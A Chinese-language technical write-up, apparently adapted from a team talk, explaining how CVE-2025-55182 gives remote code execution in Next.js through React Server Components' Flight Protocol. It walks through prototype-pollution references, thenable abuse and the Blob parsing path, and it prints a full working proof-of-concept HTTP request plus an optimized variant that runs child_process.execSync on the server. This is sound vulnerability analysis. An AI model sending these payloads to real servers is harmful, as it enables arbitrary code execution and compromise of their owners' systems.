CVE-2025-55182 是怎么让 Next.js 大爆的?
本文原为组内分享内容,搬运后有部分改动 :P
RSC / Server Functions
RSC,全称 React Server Component,看名字就知道是用来做 SSR 用的。在 RSC 中,有一个功能被称作 Server Functions,可以让客户端调用服务端的异步方法。
而为了让客户端与服务端进行交互,就需要设定一套协议来序列化数据,并通过网络传输。
而 React(还有 Next.js 等)使用的就是 React Flight Protocol。
React Flight Protocol
顾名思义,Flight 这个词语的意思是指 航班;飞行; 的意思。代表它承载了 React 客户端与服务端的通信。虽然如此重要,但它却是一个似乎没有什么文档的内部协议,至少我找了很久都没找到官方有什么文档。
它的功能十分强大,可以传输各种数据,而这也包括传输 Component。
在 React 进行 SSR 时,服务端不仅生成了 DOM,为了保证客户端 bundle 中的 React 框架正常工作,服务端也同时生成了虚拟 DOM。而这两份几乎相同的 DOM 被打包到 HTML 中,被一起发给了客户端。
拿冰岩小卖部举个例子:
<!DOCTYPE html>
<!--SpMRrB7sFBwZxOHRrcPJN-->
<html lang="zh">
...
<body class="antialiased">
<div hidden="">
<!--$-->
<!--/$-->
</div>
<div class="fixed inset-0 flex flex-col bg-white bg-[linear-gradient(180deg,#FFE0C0_0%,#fff2dd_50px,white_100%)] overflow-hidden items-center justify-center">
<div class="h-full w-full flex flex-col items-center justify-center overflow-hidden relative">
<img class="w-full absolute top-0" src="https://bymarket-cdn.hust.online/images/home/top.svg" alt="Top" draggable="false"/>
<img class="scale-300 absolute bottom-0 " src="https://bymarket-cdn.hust.online/images/home/bkg.png" alt="bkg" draggable="false"/>
<img class="absolute bottom-0 right-0 max-h-[120%]" src="https://bymarket-cdn.hust.online/images/home/market.png" alt="market" draggable="false"/>
<img class="w-full absolute bottom-0" src="https://bymarket-cdn.hust.online/images/home/bottom.svg" alt="bkg" draggable="false"/>
<img class="absolute top-0 w-full max-h-[40%]" src="https://bymarket-cdn.hust.online/images/home/title.svg" alt="Title" draggable="false"/>
<img class="absolute bottom-0 left-[-50px] max-h-[120%]" src="https://bymarket-cdn.hust.online/images/home/person.png" alt="Person" draggable="false"/>
<div class="absolute bottom-[125px] w-[85%] max-h-[20%] flex items-center justify-center">
<img class="cursor-pointer w-full h-full max-w-[min(100%,100vh)] max-h-[min(100%,100vw)]" src="https://bymarket-cdn.hust.online/images/home/bargain.svg" alt="Bargain" draggable="false"/>
</div>
<div class="absolute bottom-[58px] w-[75%] space-y-2 flex flex-col justify-end items-end">
<a class="cursor-pointer bg-[#FFF7E9] shadow-[inset_0px_-2px_0px_#FF7B17] rounded-[14px] font-bold text-[#AB5331] w-[75px] h-[25px] flex justify-center items-center text-sm" href="/inventory">货存情况</a>
<a class="cursor-pointer bg-[#FFF7E9] shadow-[inset_0px_-2px_0px_#FF7B17] rounded-[14px] font-bold text-[#AB5331] w-[75px] h-[25px] flex justify-center items-center text-sm" href="/story">故事</a>
</div>
<div class="absolute bottom-[25px] w-[75%] space-y-2 flex flex-col justify-end items-end">
<button class="cursor-pointer bg-[#FFF7E9] shadow-[inset_0px_-2px_0px_#FF7B17] rounded-[14px] font-bold text-[#AB5331] w-[75px] h-[25px] flex justify-center items-center text-sm">登录</button>
</div>
</div>
</div>
<!--$-->
<!--/$-->
<script src="/_next/static/chunks/webpack-5694af5a2b225c90.js" id="_R_" async=""></script>
<script>
(self.__next_f = self.__next_f || []).push([0])
</script>
<script>
self.__next_f.push([1, "1:\"$Sreact.fragment\"\n2:I[7555,[],\"\"]\n3:I[6678,[\"244\",\"static/chunks/244-f2622be7c7b5b3f2.js\",\"39\",\"static/chunks/app/error-6f26f00b1cdef461.js\"],\"default\"]\n4:I[1295,[],\"\"]\n5:I[894,[],\"ClientPageRoot\"]\n6:I[1022,[\"268\",\"static/chunks/aaea2bcf-d7af0745e1805a74.js\",\"244\",\"static/chunks/244-f2622be7c7b5b3f2.js\",\"951\",\"static/chunks/951-d015862af0249b0a.js\",\"974\",\"static/chunks/app/page-89b1958a0ee4331f.js\"],\"default\"]\n9:I[9665,[],\"OutletBoundary\"]\nb:I[4911,[],\"AsyncMetadataOutlet\"]\nd:I[9665,[],\"ViewportBoundary\"]\nf:I[9665,[],\"MetadataBoundary\"]\n10:\"$Sreact.suspense\"\n12:I[8393,[],\"\"]\n:HL[\"/_next/static/css/68dc2ca4eb601331.css\",\"style\"]\n"])
</script>
<script>
self.__next_f.push([1, "0:{\"P\":null,\"b\":\"SpMRrB7sFBwZxOHRrcPJN\",\"p\":\"\",\"c\":[\"\",\"\"],\"i\":false,\"f\":[[[\"\",{\"children\":[\"__PAGE__\",{}]},\"$undefined\",\"$undefined\",true],[\"\",[\"$\",\"$1\",\"c\",{\"children\":[[[\"$\",\"link\",\"0\",{\"rel\":\"stylesheet\",\"href\":\"/_next/static/css/68dc2ca4eb601331.css\",\"precedence\":\"next\",\"crossOrigin\":\"$undefined\",\"nonce\":\"$undefined\"}]],[\"$\",\"html\",null,{\"lang\":\"zh\",\"children\":[\"$\",\"body\",null,{\"className\":\"antialiased\",\"children\":[\"$\",\"$L2\",null,{\"parallelRouterKey\":\"children\",\"error\":\"$3\",\"errorStyles\":[],\"errorScripts\":[],\"template\":[\"$\",\"$L4\",null,{}],\"templateStyles\":\"$undefined\",\"templateScripts\":\"$undefined\",\"notFound\":[[[\"$\",\"title\",null,{\"children\":\"404: This page could not be found.\"}],[\"$\",\"div\",null,{\"style\":{\"fontFamily\":\"system-ui,\\\"Segoe UI\\\",Roboto,Helvetica,Arial,sans-serif,\\\"Apple Color Emoji\\\",\\\"Segoe UI Emoji\\\"\",\"height\":\"100vh\",\"textAlign\":\"center\",\"display\":\"flex\",\"flexDirection\":\"column\",\"alignItems\":\"center\",\"justifyContent\":\"center\"},\"children\":[\"$\",\"div\",null,{\"children\":[[\"$\",\"style\",null,{\"dangerouslySetInnerHTML\":{\"__html\":\"body{color:#000;background:#fff;margin:0}.next-error-h1{border-right:1px solid rgba(0,0,0,.3)}@media (prefers-color-scheme:dark){body{color:#fff;background:#000}.next-error-h1{border-right:1px solid rgba(255,255,255,.3)}}\"}}],[\"$\",\"h1\",null,{\"className\":\"next-error-h1\",\"style\":{\"display\":\"inline-block\",\"margin\":\"0 20px 0 0\",\"padding\":\"0 23px 0 0\",\"fontSize\":24,\"fontWeight\":500,\"verticalAlign\":\"top\",\"lineHeight\":\"49px\"},\"children\":404}],[\"$\",\"div\",null,{\"style\":{\"display\":\"inline-block\"},\"children\":[\"$\",\"h2\",null,{\"style\":{\"fontSize\":14,\"fontWeight\":400,\"lineHeight\":\"49px\",\"margin\":0},\"children\":\"This page could not be found.\"}]}]]}]}]],[]],\"forbidden\":\"$undefined\",\"unauthorized\":\"$undefined\"}]}]}]]}],{\"children\":[\"__PAGE__\",[\"$\",\"$1\",\"c\",{\"children\":[[\"$\",\"$L5\",null,{\"Component\":\"$6\",\"searchParams\":{},\"params\":{},\"promises\":[\"$@7\",\"$@8\"]}],null,[\"$\",\"$L9\",null,{\"children\":[\"$La\",[\"$\",\"$Lb\",null,{\"promise\":\"$@c\"}]]}]]}],{},null,false]},null,false],[\"$\",\"$1\",\"h\",{\"children\":[null,[[\"$\",\"$Ld\",null,{\"children\":\"$Le\"}],null],[\"$\",\"$Lf\",null,{\"children\":[\"$\",\"div\",null,{\"hidden\":true,\"children\":[\"$\",\"$10\",null,{\"fallback\":null,\"children\":\"$L11\"}]}]}]]}],false]],\"m\":\"$undefined\",\"G\":[\"$12\",[]],\"s\":false,\"S\":true}\n"])
</script>
<script>
self.__next_f.push([1, "7:{}\n8:\"$0:f:0:1:2:children:1:props:children:0:props:params\"\n"])
</script>
<script>
self.__next_f.push([1, "e:[[\"$\",\"meta\",\"0\",{\"charSet\":\"utf-8\"}],[\"$\",\"meta\",\"1\",{\"name\":\"viewport\",\"content\":\"width=device-width, initial-scale=1\"}],[\"$\",\"meta\",\"2\",{\"name\":\"theme-color\",\"media\":\"(prefers-color-scheme: dark)\",\"content\":\"#FFE0C0\"}],[\"$\",\"meta\",\"3\",{\"name\":\"theme-color\",\"media\":\"(prefers-color-scheme: light)\",\"content\":\"#FFE0C0\"}]]\na:null\n"])
</script>
<script>
self.__next_f.push([1, "13:I[8175,[],\"IconMark\"]\nc:{\"metadata\":[[\"$\",\"title\",\"0\",{\"children\":\"冰岩小卖部\"}],[\"$\",\"meta\",\"1\",{\"name\":\"description\",\"content\":\"免费领取精美社团周边\"}],[\"$\",\"link\",\"2\",{\"rel\":\"icon\",\"href\":\"/favicon.ico\",\"type\":\"image/x-icon\",\"sizes\":\"64x64\"}],[\"$\",\"$L13\",\"3\",{}]],\"error\":null,\"digest\":\"$undefined\"}\n"])
</script>
<script>
self.__next_f.push([1, "11:\"$c:metadata\"\n"])
</script>
</body>
</html>
可以看到,上面有看起来很正常的 DOM,而下面不知道为什么有一堆 self.__next_f.push([1, "xxx"]),这些就是经过 Flight Protocol 序列化后的虚拟 DOM 树,以及一些必要的数据。
如果把里面的这些“乱码”提取出来,可以看到它们分为很多行(每一行称为一个 Chunk),而每行大概都是长这个样子的:
[chunk id]:[Flag][object]
在冒号之前,是一个用来标注 Chunk 编号的 16 进制数字,而后面则有可选的 Flag 和实际传输的数据(可以是 string, object 等)。
我们可以使用一些第三方工具来反序列化这些数据,从而对其进行解析,比如用 https://rsc-parser.vercel.app/。
比如说,这一串:
0:["$","div",null,{"children":["$","p",null,{"children":"Bingyan","id":"wtf"}]}]会先被解析成如下的 JSON Object,
{
"type": "model",
"id": "0",
"value": {
"type": "div",
"key": null,
"props": {
"children": {
"type": "p",
"key": null,
"props": {
"children": "Bingyan",
"id": "wtf"
}
}
}
},
"originalValue": "[\"$\",\"div\",null,{\"children\":[\"$\",\"p\",null,{\"children\":\"Bingyan\",\"id\":\"wtf\"}]}]",
"timestamp": 0
}而这就代表了如下的 DOM:
<div>
<p id="wtf">Bingyan</p>
</div>同时,Flight Protocol 也支持在 Chunk 间互相引用。在解析时会从第 0 个 Chunk 开始逐步解引用。
例如,我们现在有三个 Chunk:
0:"$1"
1:{"group":"frontend","availability":"$2:stacks:react"}
2:{"active":"true","stacks":{"react":"true","angular":"false"}}在经过一段 parse 之后,这三个 Chunk 分别被解析为
{
"type": "model",
"id": "0",
"value": {
"$$type": "reference",
"id": "1",
"identifier": "",
"type": "Reference"
},
"originalValue": "\"$1\"",
"timestamp": 0
}{
"type": "model",
"id": "1",
"value": {
"group": "frontend",
"availability": {
"$$type": "reference",
"id": "2",
"identifier": "",
"type": "Reference"
}
},
"originalValue": "{\"group\":\"frontend\",\"availability\":\"$2:stacks:react\"}",
"timestamp": 0
}{
"type": "model",
"id": "2",
"value": {
"active": "true",
"stacks": {
"react": "true",
"angular": "false"
}
},
"originalValue": "{\"active\":\"true\",\"stacks\":{\"react\":\"true\",\"angular\":\"false\"}}",
"timestamp": 0
}随后再经过解引用,变成了如下的 Object:
{ "group": "frontend", "availability": "true" }React Flight Protocol 的引用功能十分强大,它不仅支持直接引用 object,也可以通过 flag 标记来改变引用的方式。例如 $1 是默认的引用方式,$L1 用于 lazy load 引用 Server Component……
对于默认的 $1 引用方式,React 会在内部先对目标 Chunk 进行反序列化,再进行解析。如果对应的 Chunk 是一个 Promise/Thenable,React 会在其 resolve 后返回 resolve 后的得到的结果。
而与本次 CVE 相关的则是形如 $@1 这样的引用方式。这种引用方式在 React 中一般被用来传递 Promise,也就是说,此时我们不希望其已经是 resolve 后的真实值,而是希望得到这个 Promise object。而在代码实现中则是这样的。
const id = parseInt(value.slice(2), 16);
const chunk = getChunk(response, id);
return chunk;可见,我们在获取到这个 Chunk 后没有对其进行 await,而是直接返回了其原本的值,也就是说这个实现只是返回了一个 raw Chunk。
Flight Protocol 还支持 Blob Map Set 等的传输和引用。画个重点在这里,这个会很有用。
我们来看看 PoC 吧!
POST / HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 459
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--这是我从 ↓ 抄来的。如果你水群了的话应该已经看过这个了。
https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3
我们忽略不重要的那些信息,而是提取出下面传输的 Chunks 来分析一下:
0:{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_formData":{"get":"$1:constructor:constructor"}}}
1:"$@0"如上,一共两行。我们重点来看一下第 0 个 Chunk。
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('xcalc');",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}是不是感觉一头雾水呢?那我们就从头开始,试着一步一步构建出这个 Chunk 吧。
Let's think step by step.
引用到底有多厉害?
还记得前面写的那个示例 Chunk 吗?为了访问其他 Chunk 的 property,我们使用了类似这样的方式:$1:prop。而 React 在代码中,对于访问一个 Chunk 内的 property,代码大概是这样的:
export function requireModule<T>(metadata: ClientReference<T>): T {
const moduleExports = parcelRequire(metadata[ID]);
return moduleExports[metadata[NAME]];
...
}也就是说,我们对 Chunk 做了一个 chunk['prop'] 的操作。而对传入的 property 名称没有做任何检查。这样,我们就可以通过这种访问拿到程序不想让我们拿到的值,比如 __proto__ 和 constructor 等。
而更进一步,我们还可以通过循环引用,在 Chunk 内部拿到自身的 property。
0:["$1:__proto__"]
1:"$@0"我们在 Chunk 0 中引用 Chunk 1,而我们又通过 $@0 的引用使 $1 指向 Chunk 0 本身,从而拿到自身的 property。
如何运行我们传入的代码?
我们传入的代码是 string,怎么让它能在服务端运行呢?
常见的方式有两种。
eval('console.log(1)')Function('console.log(1)')()
遗憾的,我们很难拿到 eval。幸运的,我们很容易就能拿到 Function constructor。
还记得上面讲引用的时候提到可以拿到某个值的 constructor 吗?我们只需要更进一步就可以了。如果我们可以通过引用拿到一个 Object,就可以通过 $:constructor:constructor 拿到 Function constructor。毕竟 constructor 本身也是一个 Function。
喜欢异步的孩子们有福了!
在 React 的实现中,decode Chunk 的其中一步是一个异步操作。
它大概长这个样子:
boundActionArguments = await decodeReplyFromBusboy(
busboy,
serverModuleMap,
{ temporaryReferences }
)而其中,decodeReplyFromBusboy 的返回值是完成解引用的 Chunk object。
于是我们想到,能不能利用一下 JS 的特性呢?
顺带一提,因为很多历史遗留问题,可以进行异步操作的不仅只有 Promise。只要一个 Object 实现了 then() 方法,都可以被 await,且这一操作就相当于 new Promise(obj.then)。
打个比方,如果这样:
obj = {then: function (resolve, reject) {resolve(1)}}那么 await obj 的效果就和 new Promise(obj.then) 一样。
又众所周知,JS 的 Promise,或者说 Thenable,是可以嵌套的。
假如我们写了一个看似人畜无害的方法 test……
async function test(data) {
return data
}这时我们执行 await test(1),就会返回 1。看起来没什么问题对吧。
那如果我传的 data 是 new Promise((resolve) => {console.log("wow"); resolve(1)}) 呢?
这时 test 方法不仅返回了 1,并且还执行了 console.log("wow")。
我觉得这样很反直觉,而且用户如果故意搞你的话,还不太容易被发现。
所以我们这次也会用到这个。
重新看一下 React 的代码吧,它是长这个样子的。而且decodeReplyFromBusboy 的返回值是完成解引用的 Chunk object。
boundActionArguments = await decodeReplyFromBusboy(
busboy,
serverModuleMap,
{ temporaryReferences }
)那么,我们就可以构造一个实现了 then 方法的 Chunk,从而执行我们想要的代码。
Let's start from here!
嘻嘻,事已至此,我们直接把 Function constructor 塞到 then 里,是不是就可以了?
遗憾的,不行。
如果我们试图 await {"then": Function} 或者 new Promise(Function),就会产生一个 SyntaxError,这是 V8 引擎内部实现导致的,我们无法绕过。
0:{"then": "$1:__proto__:then"}
1:"$@0"既然如此,我们就需要想想怎么才能借助这些疏漏,找到一个方法让我们利用,而且这个方法还需要和 Chunk 的实现有关。最终,研究者找到的方法是 Chunk.prototype.then。
0:{"then": "$1:__proto__:then", "status": "resolved_model"}
1:"$@0"我们来看看 Chunk.prototype.then 的实现吧。
https://github.com/facebook/react/blob/ae74234eae6ebd62f19190731278e20bc1c37d51/packages/react-server/src/ReactFlightReplyServer.js#L127
Chunk.prototype.then = function <T>(
this: SomeChunk<T>,
resolve: (value: T) => mixed,
reject: (reason: mixed) => mixed,
) {
const chunk: SomeChunk<T> = this;
// If we have resolved content, we try to initialize it first which
// might put us back into one of the other states.
switch (chunk.status) {
case RESOLVED_MODEL:
initializeModelChunk(chunk);
break;
}
...
}如果 status 是 resolved_model,我们就会进入 initializeModelChunk 方法,继续向下。
https://github.com/facebook/react/blob/ae74234eae6ebd62f19190731278e20bc1c37d51/packages/react-server/src/ReactFlightReplyServer.js#L446
function initializeModelChunk<T>(chunk: ResolvedModelChunk<T>): void {
...
const rootReference =
chunk.reason === -1 ? undefined : chunk.reason.toString(16);
const resolvedModel = chunk.value;
try {
const rawModel = JSON.parse(resolvedModel);
const value: T = reviveModel(
chunk._response,
{'': rawModel},
'',
rawModel,
rootReference,
);
...
} catch {
...
}
...
}观察代码,我们首先会发现的是,我们需要设置 chunk.reason 为 -1,不然代码在
const rootReference =
chunk.reason === -1 ? undefined : chunk.reason.toString(16);这里就已经爆掉了。
然后,我们还需要设置 chunk.value 为一个 JSON,chunk._response 为某些值,现在我们还没有什么头绪。
于是现在我们的 Chunk 0 大概长这个样子:
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "",
"_response": {}
}而在 initializeModelChunk 中,
const rawModel = JSON.parse(resolvedModel);
const value: T = reviveModel(
chunk._response,
{'': rawModel},
'',
rawModel,
rootReference,
);我们调用了 reviveModel 方法,我们来看看这个方法都干了什么。
https://github.com/facebook/react/blob/ae74234eae6ebd62f19190731278e20bc1c37d51/packages/react-server/src/ReactFlightReplyServer.js#L386
function reviveModel(
response: Response,
parentObj: any,
parentKey: string,
value: JSONValue,
reference: void | string,
): any {
if (typeof value === 'string') {
// We can't use .bind here because we need the "this" value.
return parseModelString(response, parentObj, parentKey, value, reference);
}
...
if (typeof value === 'object' && value !== null) {
...
if (Array.isArray(value)) {
...
} else {
for (const key in value) {
if (hasOwnProperty.call(value, key)) {
const childRef =
reference !== undefined && key.indexOf(':') === -1
? reference + ':' + key
: undefined;
const newValue = reviveModel(
response,
value,
key,
value[key],
childRef,
);
if (newValue !== undefined) {
// $FlowFixMe[cannot-write]
value[key] = newValue;
} else {
// $FlowFixMe[cannot-write]
delete value[key];
}
}
}
}
}
...
}在这里我们的 value 是 object 类型,React 会拆出 object 内的所有 key-value 对,并分别执行 reviveModel,而在第二次执行的时候,这里的 value 就不一定是 object,而可能是其他类型了。
如果是 string,我们继续看 parseModelString 的实现。
https://github.com/facebook/react/blob/ae74234eae6ebd62f19190731278e20bc1c37d51/packages/react-server/src/ReactFlightReplyServer.js#L916
这个方法代码太长,这里就不放全部了。这个方法大概的用处是对引用进行解析。
进行了一番搜索之后,就会发现这里对 Blob 类型的处理有一些可乘之机,实现是这样的。
case 'B': {
// Blob
const id = parseInt(value.slice(2), 16);
const prefix = response._prefix;
const blobKey = prefix + id;
// We should have this backingEntry in the store already because we emitted
// it before referencing it. It should be a Blob.
const backingEntry: Blob = (response._formData.get(blobKey): any);
return backingEntry;
}那么,如果我们把 chunk._response._formData.get 重载为 Function constructor,而 chunk._response._prefix 重载为我们需要执行的代码,并且对其进行构造使在后面加上 id 后仍可以执行,我们就能让 parseModelString 返回一个 Function 对象。
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('xcalc');",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}于是我们便得到了这个 PoC。
这里我们构造的 value 值是 {"then": "$B1337"}。后面的数字不重要。这个 value,在 parse 之后,它的值就会变成 {"then": Function"},同样也是一个 Thenable。这里的 Function 就是我们构造的,包含任意代码的 Function 实例。
在 value 被一路回传的同时,这时 chunk.status 也因 parse 结束而变为 INITIALIZED。
Chunk.prototype.then = function <T>(
this: SomeChunk<T>,
resolve: (value: T) => mixed,
reject: (reason: mixed) => mixed,
) {
// The status might have changed after initialization.
switch (chunk.status) {
case INITIALIZED:
resolve(chunk.value);
break;
...
}
...
}最终,这个 Thenable 被 resolve 回传,并因为 JS 的特性而被执行。
Game over.
还能优化一下吗?
{
"then": "$1:then",
"status": "resolved_model",
"reason": 0,
"value": "{\"then\":\"$B\"}",
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('xcalc');",
"_formData": {
"get": "$1:then:constructor"
}
}
}References
https://github.com/msanft/CVE-2025-55182
https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3
https://tonyalicea.dev/blog/understanding-react-server-components/
https://gist.github.com/12joan/eb606fb5e5e1c44b0d9d2aacb04112f7
https://x.com/rauchg/status/1997362942929440937